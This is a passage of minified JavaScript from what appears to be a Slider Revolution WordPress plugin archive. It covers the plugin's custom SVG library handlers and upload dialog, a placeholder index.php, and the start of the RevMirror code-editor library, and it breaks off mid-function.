0===RVS.LIB.OBJ.types[RVS.LIB.OBJ.selectedType].tags[i]&&(RVS.LIB.OBJ.types[RVS.LIB.OBJ.selectedType].tags[i]=t.tags[i],r=!0);r&&a(RVS.LIB.OBJ.selectedType),RVS.F.updateFilteredList(),RVS.F.finalDrawOfElements()}),RVS.DOC.on("change",".olibrary_custom_tagselector",function(){var e=jQuery(this),t=e.closest(".olibrary_content_left");d(t[0].dataset.id,t[0].dataset.librarytype).tags=[e.val()],RVS.F.ajaxRequest("edit_customlibrary_item",{id:t[0].dataset.id,tags:e.val(),type:t[0].dataset.librarytype},function(e){RVS.F.updateFilteredList(),RVS.F.finalDrawOfElements()})}),RVS.DOC.on("click",".filter_tag_name_check",function(){window.ignoreCustomCategoryBlur=!0,y(jQuery(this).closest(".ol_filter_listelement"),!0)}),RVS.DOC.on("keyup",".filter_tag_name_input",function(e){13===(e.keyCode?e.keyCode:e.which)&&y(jQuery(this).closest(".ol_filter_listelement"),!0)}),RVS.DOC.on("blur",".filter_tag_name_input",function(){var e=jQuery(this).closest(".ol_filter_listelement");setTimeout(function(){!0!==window.ignoreCustomCategoryBlur?y(e,!1):window.ignoreCustomCategoryBlur=!1},100)}),RVS.DOC.on("click",".add_ol_new_custom_category",function(){RVS.LIB.OBJ.lastSelectedType=RVS.LIB.OBJ.selectedType,RVS.LIB.OBJ.selectedType=this.dataset.type;return RVS.F.ajaxRequest("create_customlibrary_tags",{name:"New Category",type:this.dataset.type},function(e){RVS.LIB.OBJ.types[RVS.LIB.OBJ.selectedType].tags[e.id]=e.name,a(RVS.LIB.OBJ.selectedType),RVS.F.updateCustomCategorySelectors(RVS.LIB.OBJ.selectedType),RVS.LIB.OBJ.selectedFilter=""+e.id,RVS.LIB.OBJ.selectedPage=1,RVS.LIB.OBJ.selectedPackage=-1,RVS.LIB.OBJ.selectedFolder=-1,RVS.F.loadLibrary({modules:[RVS.LIB.OBJ.selectedType],event:"reBuildObjectLibrary"}),jQuery(".ol_filter_listelement.selected").removeClass("selected");var t=jQuery('.ol_filter_listelement[data-type="'+RVS.LIB.OBJ.selectedType+'"][data-filter="'+RVS.LIB.OBJ.selectedFilter+'"]'),i=t.closest(".ol_filter_type");t.addClass("selected"),i.find(".ol_filter_headerelement").addClass("selected"),void 0!==RVS.F["checkLoadedItems_"+RVS.LIB.OBJ.selectedType]&&RVS.F["checkLoadedItems_"+RVS.LIB.OBJ.selectedType]()}),!1}),RVS.F.checkLoadedItems_svgcustom=function(){RVS.F.createLibraryDummyDownloadItem("svgcustom",RVS_LANG.uploadfirstitem),RVS.F.loadCustomLibraryItems("svgcustom",2.15)},RVS.F.newObjectLibraryItem_svgcustom=function(e,t){return function(e,t,i,a){var r="",o=t.find(".olibrary_media_wrap");return"svgcustom"===i&&void 0!==e.tags&&void 0!==e.tags[0]&&void 0!==RVS.LIB.OBJ.types.svgcustom&&void 0!==RVS.LIB.OBJ.types.svgcustom.tags&&void 0===RVS.LIB.OBJ.types.svgcustom.tags[e.tags[0]]&&(e.tags[0]="all"),r='<div class="olibrary_content_left" data-id="'+e.id+'" data-type="'+e.type+'" data-librarytype="'+e.libraryType+'">',"svgcustom"===i&&(r+='\t<div data-id="'+e.id+'" data-type="'+e.type+'" data-librarytype="'+e.libraryType+'" class="'+("svgcustom_99999"!==e.id?"olibrary_edit_title_main ":"")+'olibrary_content_title">'+e.title+'</div><input class="olibrary_content_title_input" value="'+e.title+'">'),"svgcustom_99999"===e.id?r+='\t<div class="olibrary_content_type oc_red">'+RVS_LANG.savecustomfile+"</div>":"svgcustom"===i&&(r+='\t<div class="olibrary_content_type oc_blue">'+RVS_LANG.customfile+'</div><div class="olibrary_custom_tagselector_wrap"><select class="olibrary_custom_tagselector tos2 nosearchbox">'+RVS.F.getCustomTagsOptions(e.libraryType)+"</select></div>"),r+="</div>",e.id!==i+"_99999"&&(r+='<div class="olibrary_content_right">',r+='\t<i data-id="'+e.id+'" data-type="'+e.type+'" data-librarytype="'+e.libraryType+'" class="olibrary_favorit material-icons '+(e.favorite?"selected":"")+'">star</i>',r+="</div>"),"svgcustom_99999"===e.id?t.append('<div class="olibrary_media_overlay oneicon"><i data-librarytype="'+e.libraryType+'"  data-event="runCustomObjectImport" data-id="'+e.id+'" data-handle="'+e.handle+'" data-elementtype="" class="material-icons ol_link_to_add">add</i></div>'):"svgcustom"===i?t.append('<div class="olibrary_media_overlay twoicon"><i data-librarytype="'+e.libraryType+'"  data-id="'+e.id+'" data-handle="'+e.handle+'" data-elementtype="" class="material-icons ol_link_to_add">add</i><i data-librarytype="'+e.libraryType+'" data-id="'+e.id+'" data-handle="'+e.handle+'" data-elementtype="" class="material-icons ol_link_to_delete">delete</i></div>'):e.id!==i+"_99999"&&t.append('<div class="olibrary_media_overlay oneicon"><i data-librarytype="'+e.libraryType+'" data-id="'+e.id+'" data-handle="'+e.handle+'" data-elementtype="" class="material-icons ol_link_to_add">add</i></div>'),o[0].className+=" patternbg nosvgcoloring","svgcustom_99999"===e.id?(o[0].innerHTML='<div class="ol_svg_preview"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><path d="M19 9h-4V3H9v6H5l7 7 7-7zM5 18v2h14v-2H5z"></path></svg></div>',o[0].className+=" downloadlottieanim"):void 0!==e.img&&jQuery.get(e.img,function(e){var t=RVS.F.cE({cN:"ol_svg_preview"});t.innerHTML=(new XMLSerializer).serializeToString(e.documentElement),o[0].appendChild(t)}),{content:r}}(e,t,"svgcustom",RVS_LANG.customsvgfile)},RVS.F.customSVGUpload=function(e){jQuery("#filedrop").hide();var t=RVS.LIB.OBJ.types[RVS.LIB.OBJ.selectedType].tags[RVS.LIB.OBJ.selectedFilter];t=void 0===t?"all":t,RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"cloud_upload",title:RVS_LANG.svgcustomimport,maintext:e.files.length+" "+RVS_LANG.svgBIG+" "+RVS_LANG.arereadytoimport,subtext:RVS_LANG.addtocustomornew,quickclose:!0,do:{icon:"add",text:RVS_LANG.addto+" "+t,callback:function(){jQuery("#filedrop").show(),RVS.F.uploadFiles({customs:{type:RVS.LIB.OBJ.selectedType,id:RVS.LIB.OBJ.selectedFilter},form:RVS.fileDropForm,files:e.files,fileindex:0,report:"#fileprocessing_",successFinal:e.success,action:"upload_customlibrary_item"})}},cancel:{icon:"folder",text:RVS_LANG.createnewcategory,callback:function(){jQuery("#filedrop").show(),RVS.F.uploadFiles({customs:{type:RVS.LIB.OBJ.selectedType,tag:"New Category"},form:RVS.fileDropForm,files:e.files,fileindex:0,report:"#fileprocessing_",successFinal:e.success,action:"upload_customlibrary_item"})}},swapbuttons:!0}),jQuery("#rbm_decisionModal").closest("._TPRB_.rb-modal-wrapper").appendTo(jQuery("body")).css({zIndex:1e8})}}();PK�y3\�ƹ�assets/js/plugins/index.phpnu�[���<?php // Silence is golden
PK�y3\{e���,�,assets/js/plugins/RevMirror.jsnu�[���!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):e.RevMirror=t()}(this,function(){"use strict";var e=navigator.userAgent,t=navigator.platform,g=/gecko\/\d/i.test(e),r=/MSIE \d/.test(e),n=/Trident\/(?:[7-9]|\d{2,})\..*rv:(\d+)/.exec(e),i=/Edge\/(\d+)/.exec(e),x=r||n||i,C=x&&(r?document.documentMode||6:+(i||n)[1]),b=!i&&/WebKit\//.test(e),o=b&&/Qt\/\d+\.\d+/.test(e),l=!i&&/Chrome\//.test(e),v=/Opera\//.test(e),a=/Apple Computer/.test(navigator.vendor),s=/Mac OS X 1\d\D([8-9]|\d\d)\D/.test(e),u=/PhantomJS/.test(e),c=!i&&/AppleWebKit/.test(e)&&/Mobile\/\w+/.test(e),h=/Android/.test(e),f=c||h||/webOS|BlackBerry|Opera Mini|Opera Mobi|IEMobile/i.test(e),w=c||/Mac/.test(t),d=/\bCrOS\b/.test(e),p=/win/i.test(t),m=v&&e.match(/Version\/(\d*\.\d*)/);m&&(m=Number(m[1])),m&&15<=m&&(b=!(v=!1));var y=w&&(o||v&&(null==m||m<12.11)),S=g||x&&9<=C;function L(e){return new RegExp("(^|\\s)"+e+"(?:$|\\s)\\s*")}var k,T=function(e,t){var r=e.className,n=L(t).exec(r);if(n){var i=r.slice(n.index+n[0].length);e.className=r.slice(0,n.index)+(i?n[1]+i:"")}};function M(e){for(var t=e.childNodes.length;0<t;--t)e.removeChild(e.firstChild);return e}function N(e,t){return M(e).appendChild(t)}function A(e,t,r,n){var i=document.createElement(e);if(r&&(i.className=r),n&&(i.style.cssText=n),"string"==typeof t)i.appendChild(document.createTextNode(t));else if(t)for(var o=0;o<t.length;++o)i.appendChild(t[o]);return i}function O(e,t,r,n){var i=A(e,t,r,n);return i.setAttribute("role","presentation"),i}function D(e,t){if(3==t.nodeType&&(t=t.parentNode),e.contains)return e.contains(t);do{if(11==t.nodeType&&(t=t.host),t==e)return!0}while(t=t.parentNode)}function W(){var t;try{t=document.activeElement}catch(e){t=document.body||null}for(;t&&t.shadowRoot&&t.shadowRoot.activeElement;)t=t.shadowRoot.activeElement;return t}function H(e,t){var r=e.className;L(t).test(r)||(e.className+=(r?" ":"")+t)}function F(e,t){for(var r=e.split(" "),n=0;n<r.length;n++)r[n]&&!L(r[n]).test(t)&&(t+=" "+r[n]);return t}k=document.createRange?function(e,t,r,n){var i=document.createRange();return i.setEnd(n||e,r),i.setStart(e,t),i}:function(e,t,r){var n=document.body.createTextRange();try{n.moveToElementText(e.parentNode)}catch(e){return n}return n.collapse(!0),n.moveEnd("character",r),n.moveStart("character",t),n};var P=function(e){e.select()};function E(e){var t=Array.prototype.slice.call(arguments,1);return function(){return e.apply(null,t)}}function I(e,t,r){for(var n in t||(t={}),e)!e.hasOwnProperty(n)||!1===r&&t.hasOwnProperty(n)||(t[n]=e[n]);return t}function z(e,t,r,n,i){null==t&&-1==(t=e.search(/[^\s\u00a0]/))&&(t=e.length);for(var o=n||0,l=i||0;;){var s=e.indexOf("\t",o);if(s<0||t<=s)return l+(t-o);l+=s-o,l+=r-l%r,o=s+1}}c?P=function(e){e.selectionStart=0,e.selectionEnd=e.value.length}:x&&(P=function(e){try{e.select()}catch(e){}});var R=function(){this.id=null};function B(e,t){for(var r=0;r<e.length;++r)if(e[r]==t)return r;return-1}R.prototype.set=function(e,t){clearTimeout(this.id),this.id=setTimeout(t,e)};var G=30,U={toString:function(){return"RevMirror.Pass"}},V={scroll:!1},K={origin:"*mouse"},j={origin:"+move"};function X(e,t,r){for(var n=0,i=0;;){var o=e.indexOf("\t",n);-1==o&&(o=e.length);var l=o-n;if(o==e.length||t<=i+l)return n+Math.min(l,t-i);if(i+=o-n,n=o+1,t<=(i+=r-i%r))return n}}var Y=[""];function _(e){for(;Y.length<=e;)Y.push($(Y)+" ");return Y[e]}function $(e){return e[e.length-1]}function q(e,t){for(var r=[],n=0;n<e.length;n++)r[n]=t(e[n],n);return r}function Z(){}function Q(e,t){var r;return Object.create?r=Object.create(e):(Z.prototype=e,r=new Z),t&&I(t,r),r}var J=/[\u00df\u0587\u0590-\u05f4\u0600-\u06ff\u3040-\u309f\u30a0-\u30ff\u3400-\u4db5\u4e00-\u9fcc\uac00-\ud7af]/;function ee(e){return/\w/.test(e)||"€"<e&&(e.toUpperCase()!=e.toLowerCase()||J.test(e))}function te(e,t){return t?!!(-1<t.source.indexOf("\\w")&&ee(e))||t.test(e):ee(e)}function re(e){for(var t in e)if(e.hasOwnProperty(t)&&e[t])return!1;return!0}var ne=/[\u0300-\u036f\u0483-\u0489\u0591-\u05bd\u05bf\u05c1\u05c2\u05c4\u05c5\u05c7\u0610-\u061a\u064b-\u065e\u0670\u06d6-\u06dc\u06de-\u06e4\u06e7\u06e8\u06ea-\u06ed\u0711\u0730-\u074a\u07a6-\u07b0\u07eb-\u07f3\u0816-\u0819\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0900-\u0902\u093c\u0941-\u0948\u094d\u0951-\u0955\u0962\u0963\u0981\u09bc\u09be\u09c1-\u09c4\u09cd\u09d7\u09e2\u09e3\u0a01\u0a02\u0a3c\u0a41\u0a42\u0a47\u0a48\u0a4b-\u0a4d\u0a51\u0a70\u0a71\u0a75\u0a81\u0a82\u0abc\u0ac1-\u0ac5\u0ac7\u0ac8\u0acd\u0ae2\u0ae3\u0b01\u0b3c\u0b3e\u0b3f\u0b41-\u0b44\u0b4d\u0b56\u0b57\u0b62\u0b63\u0b82\u0bbe\u0bc0\u0bcd\u0bd7\u0c3e-\u0c40\u0c46-\u0c48\u0c4a-\u0c4d\u0c55\u0c56\u0c62\u0c63\u0cbc\u0cbf\u0cc2\u0cc6\u0ccc\u0ccd\u0cd5\u0cd6\u0ce2\u0ce3\u0d3e\u0d41-\u0d44\u0d4d\u0d57\u0d62\u0d63\u0dca\u0dcf\u0dd2-\u0dd4\u0dd6\u0ddf\u0e31\u0e34-\u0e3a\u0e47-\u0e4e\u0eb1\u0eb4-\u0eb9\u0ebb\u0ebc\u0ec8-\u0ecd\u0f18\u0f19\u0f35\u0f37\u0f39\u0f71-\u0f7e\u0f80-\u0f84\u0f86\u0f87\u0f90-\u0f97\u0f99-\u0fbc\u0fc6\u102d-\u1030\u1032-\u1037\u1039\u103a\u103d\u103e\u1058\u1059\u105e-\u1060\u1071-\u1074\u1082\u1085\u1086\u108d\u109d\u135f\u1712-\u1714\u1732-\u1734\u1752\u1753\u1772\u1773\u17b7-\u17bd\u17c6\u17c9-\u17d3\u17dd\u180b-\u180d\u18a9\u1920-\u1922\u1927\u1928\u1932\u1939-\u193b\u1a17\u1a18\u1a56\u1a58-\u1a5e\u1a60\u1a62\u1a65-\u1a6c\u1a73-\u1a7c\u1a7f\u1b00-\u1b03\u1b34\u1b36-\u1b3a\u1b3c\u1b42\u1b6b-\u1b73\u1b80\u1b81\u1ba2-\u1ba5\u1ba8\u1ba9\u1c2c-\u1c33\u1c36\u1c37\u1cd0-\u1cd2\u1cd4-\u1ce0\u1ce2-\u1ce8\u1ced\u1dc0-\u1de6\u1dfd-\u1dff\u200c\u200d\u20d0-\u20f0\u2cef-\u2cf1\u2de0-\u2dff\u302a-\u302f\u3099\u309a\ua66f-\ua672\ua67c\ua67d\ua6f0\ua6f1\ua802\ua806\ua80b\ua825\ua826\ua8c4\ua8e0-\ua8f1\ua926-\ua92d\ua947-\ua951\ua980-\ua982\ua9b3\ua9b6-\ua9b9\ua9bc\uaa29-\uaa2e\uaa31\uaa32\uaa35\uaa36\uaa43\uaa4c\uaab0\uaab2-\uaab4\uaab7\uaab8\uaabe\uaabf\uaac1\uabe5\uabe8\uabed\udc00-\udfff\ufb1e\ufe00-\ufe0f\ufe20-\ufe26\uff9e\uff9f]/;function ie(e){return 768<=e.charCodeAt(0)&&ne.test(e)}function oe(e,t,r){for(;(r<0?0<t:t<e.length)&&ie(e.charAt(t));)t+=r;return t}function le(e,t,r){for(var n=r<t?-1:1;;){if(t==r)return t;var i=(t+r)/2,o=n<0?Math.ceil(i):Math.floor(i);if(o==t)return e(o)?t:r;e(o)?r=o:t=o+n}}function se(e,t,r){var n=this;this.input=r,n.scrollbarFiller=A("div",null,"RevMirror-scrollbar-filler"),n.scrollbarFiller.setAttribute("cm-not-content","true"),n.gutterFiller=A("div",null,"RevMirror-gutter-filler"),n.gutterFiller.setAttribute("cm-not-content","true"),n.lineDiv=O("div",null,"RevMirror-code"),n.selectionDiv=A("div",null,null,"position: relative; z-index: 1"),n.cursorDiv=A("div",null,"RevMirror-cursors"),n.measure=A("div",null,"RevMirror-measure"),n.lineMeasure=A("div",null,"RevMirror-measure"),n.lineSpace=O("div",[n.measure,n.lineMeasure,n.selectionDiv,n.cursorDiv,n.lineDiv],null,"position: relative; outline: none");var i=O("div",[n.lineSpace],"RevMirror-lines");n.mover=A("div",[i],null,"position: relative"),n.sizer=A("div",[n.mover],"RevMirror-sizer"),n.sizerWidth=null,n.heightForcer=A("div",null,null,"position: absolute; height: "+G+"px; width: 1px;"),n.gutters=A("div",null,"RevMirror-gutters"),n.lineGutter=null,n.scroller=A("div",[n.sizer,n.heightForcer,n.gutters],"RevMirror-scroll"),n.scroller.setAttribute("tabIndex","-1"),n.wrapper=A("div",[n.scrollbarFiller,n.gutterFiller,n.scroller],"RevMirror"),x&&C<8&&(n.gutters.style.zIndex=-1,n.scroller.style.paddingRight=0),b||g&&f||(n.scroller.draggable=!0),e&&(e.appendChild?e.appendChild(n.wrapper):e(n.wrapper)),n.viewFrom=n.viewTo=t.first,n.reportedViewFrom=n.reportedViewTo=t.first,n.view=[],n.renderedView=null,n.externalMeasured=null,n.viewOffset=0,n.lastWrapHeight=n.lastWrapWidth=0,n.updateLineNumbers=null,n.nativeBarWidth=n.barHeight=n.barWidth=0,n.scrollbarsClipped=!1,n.lineNumWidth=n.lineNumInnerWidth=n.lineNumChars=null,n.alignWidgets=!1,n.cachedCharWidth=n.cachedTextHeight=n.cachedPaddingH=null,n.maxLine=null,n.maxLineLength=0,n.maxLineChanged=!1,n.wheelDX=n.wheelDY=n.wheelStartX=n.wheelStartY=null,n.shift=!1,n.selForContextMenu=null,n.activeTouch=null,r.init(n)}function ae(e,t){if((t-=e.first)<0||t>=e.size)throw new Error("There is no line "+(t+e.first)+" in the document.");for(var r=e;!r.lines;)for(var n=0;;++n){var i=r.children[n],o=i.chunkSize();if(t<o){r=i;break}t-=o}return r.lines[t]}function ue(e,r,n){var i=[],o=r.line;return e.iter(r.line,n.line+1,function(e){var t=e.text;o==n.line&&(t=t.slice(0,n.ch)),o==r.line&&(t=t.slice(r.ch)),i.push(t),++o}),i}function ce(e,t,r){var n=[];return e.iter(t,r,function(e){n.push(e.text)}),n}function he(e,t){var r=t-e.height;if(r)for(var n=e;n;n=n.parent)n.height+=r}function fe(e){if(null==e.parent)return null;for(var t=e.parent,r=B(t.lines,e),n=t.parent;n;n=(t=n).parent)for(var i=0;n.children[i]!=t;++i)r+=n.children[i].chunkSize();return r+t.first}function de(e,t){var r=e.first;e:do{for(var n=0;n<e.children.length;++n){var i=e.children[n],o=i.height;if(t<o){e=i;continue e}t-=o,r+=i.chunkSize()}return r}while(!e.lines);for(var l=0;l<e.lines.length;++l){var s=e.lines[l].height;if(t<s)break;t-=s}return r+l}function pe(e,t){return t>=e.first&&t<e.first+e.size}function ge(e,t){return String(e.lineNumberFormatter(t+e.firstLineNumber))}function ve(e,t,r){if(void 0===r&&(r=null),!(this instanceof ve))return new ve(e,t,r);this.line=e,this.ch=t,this.sticky=r}function me(e,t){return e.line-t.line||e.ch-t.ch}function ye(e,t){return e.sticky==t.sticky&&0==me(e,t)}function be(e){return ve(e.line,e.ch)}function we(e,t){return me(e,t)<0?t:e}function xe(e,t){return me(e,t)<0?e:t}function Ce(e,t){return Math.max(e.first,Math.min(t,e.first+e.size-1))}function Se(e,t){if(t.line<e.first)return ve(e.first,0);var r,n,i,o=e.first+e.size-1;return t.line>o?ve(o,ae(e,o).text.length):(n=ae(e,(r=t).line).text.length,null==(i=r.ch)||n<i?ve(r.line,n):i<0?ve(r.line,0):r)}function Le(e,t){for(var r=[],n=0;n<t.length;n++)r[n]=Se(e,t[n]);return r}var ke=!1,Te=!1;function Me(e,t,r){this.marker=e,this.from=t,this.to=r}function Ne(e,t){if(e)for(var r=0;r<e.length;++r){var n=e[r];if(n.marker==t)return n}}function Oe(e,t){for(var r,n=0;n<e.length;++n)e[n]!=t&&(r||(r=[])).push(e[n]);return r}function Ae(e,t){if(t.full)return null;var r=pe(e,t.from.line)&&ae(e,t.from.line).markedSpans,n=pe(e,t.to.line)&&ae(e,t.to.line).markedSpans;if(!r&&!n)return null;var i=t.from.ch,o=t.to.ch,l=0==me(t.from,t.to),s=function(e,t,r){var n;if(e)for(var i=0;i<e.length;++i){var o=e[i],l=o.marker;if(null==o.from||(l.inclusiveLeft?o.from<=t:o.from<t)||o.from==t&&"bookmark"==l.type&&(!r||!o.marker.insertLeft)){var s=null==o.to||(l.inclusiveRight?o.to>=t:o.to>t);(n||(n=[])).push(new Me(l,o.from,s?null:o.to))}}return n}(r,i,l),a=function(e,t,r){var n;if(e)for(var i=0;i<e.length;++i){var o=e[i],l=o.marker;if(null==o.to||(l.inclusiveRight?o.to>=t:o.to>t)||o.from==t&&"bookmark"==l.type&&(!r||o.marker.insertLeft)){var s=null==o.from||(l.inclusiveLeft?o.from<=t:o.from<t);(n||(n=[])).push(new Me(l,s?null:o.from-t,null==o.to?null:o.to-t))}}return n}(n,o,l),u=1==t.text.length,c=$(t.text).length+(u?i:0);if(s)for(var h=0;h<s.length;++h){var f=s[h];if(null==f.to){var d=Ne(a,f.marker);d?u&&(f.to=null==d.to?null:d.to+c):f.to=i}}if(a)for(var p=0;p<a.length;++p){var g=a[p];if(null!=g.to&&(g.to+=c),null==g.from)Ne(s,g.marker)||(g.from=c,u&&(s||(s=[])).push(g));else g.from+=c,u&&(s||(s=[])).push(g)}s&&(s=De(s)),a&&a!=s&&(a=De(a));var v=[s];if(!u){var m,y=t.text.length-2;if(0<y&&s)for(var b=0;b<s.length;++b)null==s[b].to&&(m||(m=[])).push(new Me(s[b].marker,null,null));for(var w=0;w<y;++w)v.push(m);v.push(a)}return v}function De(e){for(var t=0;t<e.length;++t){var r=e[t];null!=r.from&&r.from==r.to&&!1!==r.marker.clearWhenEmpty&&e.splice(t--,1)}return e.length?e:null}function We(e){var t=e.markedSpans;if(t){for(var r=0;r<t.length;++r)t[r].marker.detachLine(e);e.markedSpans=null}}function He(e,t){if(t){for(var r=0;r<t.length;++r)t[r].marker.attachLine(e);e.markedSpans=t}}function Fe(e){return e.inclusiveLeft?-1:0}function Pe(e){return e.inclusiveRight?1:0}function Ee(e,t){var r=e.lines.length-t.lines.length;if(0!=r)return r;var n=e.find(),i=t.find(),o=me(n.from,i.from)||Fe(e)-Fe(t);if(o)return-o;var l=me(n.to,i.to)||Pe(e)-Pe(t);return l||t.id-e.id}function Ie(e,t){var r,n=Te&&e.markedSpans;if(n)for(var i=void 0,o=0;o<n.length;++o)(i=n[o]).marker.collapsed&&null==(t?i.from:i.to)&&(!r||Ee(r,i.marker)<0)&&(r=i.marker);return r}function ze(e){return Ie(e,!0)}function Re(e){return Ie(e,!1)}function Be(e,t){var r,n=Te&&e.markedSpans;if(n)for(var i=0;i<n.length;++i){var o=n[i];o.marker.collapsed&&(null==o.from||o.from<t)&&(null==o.to||o.to>t)&&(!r||Ee(r,o.marker)<0)&&(r=o.marker)}return r}function Ge(e,t,r,n,i){var o=ae(e,t),l=Te&&o.markedSpans;if(l)for(var s=0;s<l.length;++s){var a=l[s];if(a.marker.collapsed){var u=a.marker.find(0),c=me(u.from,r)||Fe(a.marker)-Fe(i),h=me(u.to,n)||Pe(a.marker)-Pe(i);if(!(0<=c&&h<=0||c<=0&&0<=h)&&(c<=0&&(a.marker.inclusiveRight&&i.inclusiveLeft?0<=me(u.to,r):0<me(u.to,r))||0<=c&&(a.marker.inclusiveRight&&i.inclusiveLeft?me(u.from,n)<=0:me(u.from,n)<0)))return!0}}}function Ue(e){for(var t;t=ze(e);)e=t.find(-1,!0).line;return e}function Ve(e,t){var r=ae(e,t),n=Ue(r);return r==n?t:fe(n)}function Ke(e,t){if(t>e.lastLine())return t;var r,n=ae(e,t);if(!je(e,n))return t;for(;r=Re(n);)n=r.find(1,!0).line;return fe(n)+1}function je(e,t){var r=Te&&t.markedSpans;if(r)for(var n=void 0,i=0;i<r.length;++i)if((n=r[i]).marker.collapsed){if(null==n.from)return!0;if(!n.marker.widgetNode&&0==n.from&&n.marker.inclusiveLeft&&Xe(e,t,n))return!0}}function Xe(e,t,r){if(null==r.to){var n=r.marker.find(1,!0);return Xe(e,n.line,Ne(n.line.markedSpans,r.marker))}if(r.marker.inclusiveRight&&r.to==t.text.length)return!0;for(var i=void 0,o=0;o<t.markedSpans.length;++o)if((i=t.markedSpans[o]).marker.collapsed&&!i.marker.widgetNode&&i.from==r.to&&(null==i.to||i.to!=r.from)&&(i.marker.inclusiveLeft||r.marker.inclusiveRight)&&Xe(e,t,i))return!0}function Ye(e){for(var t=0,r=(e=Ue(e)).parent,n=0;n<r.lines.length;++n){var i=r.lines[n];if(i==e)break;t+=i.height}for(var o=r.parent;o;o=(r=o).parent)for(var l=0;l<o.children.length;++l){var s=o.children[l];if(s==r)break;t+=s.height}return t}function _e(e){if(0==e.height)return 0;for(var t,r=e.text.length,n=e;t=ze(n);){var i=t.find(0,!0);n=i.from.line,r+=i.from.ch-i.to.ch}for(n=e;t=Re(n);){var o=t.find(0,!0);r-=n.text.length-o.from.ch,r+=(n=o.to.line).text.length-o.to.ch}return r}function $e(e){var r=e.display,t=e.doc;r.maxLine=ae(t,t.first),r.maxLineLength=_e(r.maxLine),r.maxLineChanged=!0,t.iter(function(e){var t=_e(e);t>r.maxLineLength&&(r.maxLineLength=t,r.maxLine=e)})}var qe=null;function Ze(e,t,r){var n;qe=null;for(var i=0;i<e.length;++i){var o=e[i];if(o.from<t&&o.to>t)return i;o.to==t&&(o.from!=o.to&&"before"==r?n=i:qe=i),o.from==t&&(o.from!=o.to&&"before"!=r?n=i:qe=i)}return null!=n?n:qe}var Qe=function(){var I="bbbbbbbbbtstwsbbbbbbbbbbbbbbssstwNN%%%NNNNNN,N,N1111111111NNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNbbbbbbsbbbbbbbbbbbbbbbbbbbbbbbbbb,N%%%%NNNNLNNNNN%%11NLNNN1LNNNNNLLLLLLLLLLLLLLLLLLLLLLLNLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLN",z="nnnnnnNNr%%r,rNNmmmmmmmmmmmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmmmmmmmmnnnnnnnnnn%nnrrrmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmnNmmmmmmrrmmNmmmmrr1111111111";var R=/[\u0590-\u05f4\u0600-\u06ff\u0700-\u08ac]/,B=/[stwN]/,G=/[LRr]/,U=/[Lb1n]/,V=/[1n]/;function K(e,t,r){this.level=e,this.from=t,this.to=r}return function(e,t){var r="ltr"==t?"L":"R";if(0==e.length||"ltr"==t&&!R.test(e))return!1;for(var n,i=e.length,o=[],l=0;l<i;++l)o.push((n=e.charCodeAt(l))<=247?I.charAt(n):1424<=n&&n<=1524?"R":1536<=n&&n<=1785?z.charAt(n-1536):1774<=n&&n<=2220?"r":8192<=n&&n<=8203?"w":8204==n?"b":"L");for(var s=0,a=r;s<i;++s){var u=o[s];"m"==u?o[s]=a:a=u}for(var c=0,h=r;c<i;++c){var f=o[c];"1"==f&&"r"==h?o[c]="n":G.test(f)&&"r"==(h=f)&&(o[c]="R")}for(var d=1,p=o[0];d<i-1;++d){var g=o[d];"+"==g&&"1"==p&&"1"==o[d+1]?o[d]="1":","!=g||p!=o[d+1]||"1"!=p&&"n"!=p||(o[d]=p),p=g}for(var v=0;v<i;++v){var m=o[v];if(","==m)o[v]="N";else if("%"==m){var y=void 0;for(y=v+1;y<i&&"%"==o[y];++y);for(var b=v&&"!"==o[v-1]||y<i&&"1"==o[y]?"1":"N",w=v;w<y;++w)o[w]=b;v=y-1}}for(var x=0,C=r;x<i;++x){var S=o[x];"L"==C&&"1"==S?o[x]="L":G.test(S)&&(C=S)}for(var L=0;L<i;++L)if(B.test(o[L])){var k=void 0;for(k=L+1;k<i&&B.test(o[k]);++k);for(var T="L"==(L?o[L-1]:r),M=T==("L"==(k<i?o[k]:r))?T?"L":"R":r,N=L;N<k;++N)o[N]=M;L=k-1}for(var O,A=[],D=0;D<i;)if(U.test(o[D])){var W=D;for(++D;D<i&&U.test(o[D]);++D);A.push(new K(0,W,D))}else{var H=D,F=A.length;for(++D;D<i&&"L"!=o[D];++D);for(var P=H;P<D;)if(V.test(o[P])){H<P&&A.splice(F,0,new K(1,H,P));var E=P;for(++P;P<D&&V.test(o[P]);++P);A.splice(F,0,new K(2,E,P)),H=P}else++P;H<D&&A.splice(F,0,new K(1,H,D))}return"ltr"==t&&(1==A[0].level&&(O=e.match(/^\s+/))&&(A[0].from=O[0].length,A.unshift(new K(0,0,O[0].length))),1==$(A).level&&(O=e.match(/\s+$/))&&($(A).to-=O[0].length,A.push(new K(0,i-O[0].length,i)))),"rtl"==t?A.reverse():A}}();function Je(e,t){var r=e.order;return null==r&&(r=e.order=Qe(e.text,t)),r}var et=[],tt=function(e,t,r){if(e.addEventListener)e.addEventListener(t,r,!1);else if(e.attachEvent)e.attachEvent("on"+t,r);else{var n=e._handlers||(e._handlers={});n[t]=(n[t]||et).concat(r)}};function rt(e,t){return e._handlers&&e._handlers[t]||et}function nt(e,t,r){if(e.removeEventListener)e.removeEventListener(t,r,!1);else if(e.detachEvent)e.detachEvent("on"+t,r);else{var n=e._handlers,i=n&&n[t];if(i){var o=B(i,r);-1<o&&(n[t]=i.slice(0,o).concat(i.slice(o+1)))}}}function it(e,t){var r=rt(e,t);if(r.length)for(var n=Array.prototype.slice.call(arguments,2),i=0;i<r.length;++i)r[i].apply(null,n)}function ot(e,t,r){return"string"==typeof t&&(t={type:t,preventDefault:function(){this.defaultPrevented=!0}}),it(e,r||t.type,e,t),ht(t)||t.RevMirrorIgnore}function lt(e){var t=e._handlers&&e._handlers.cursorActivity;if(t)for(var 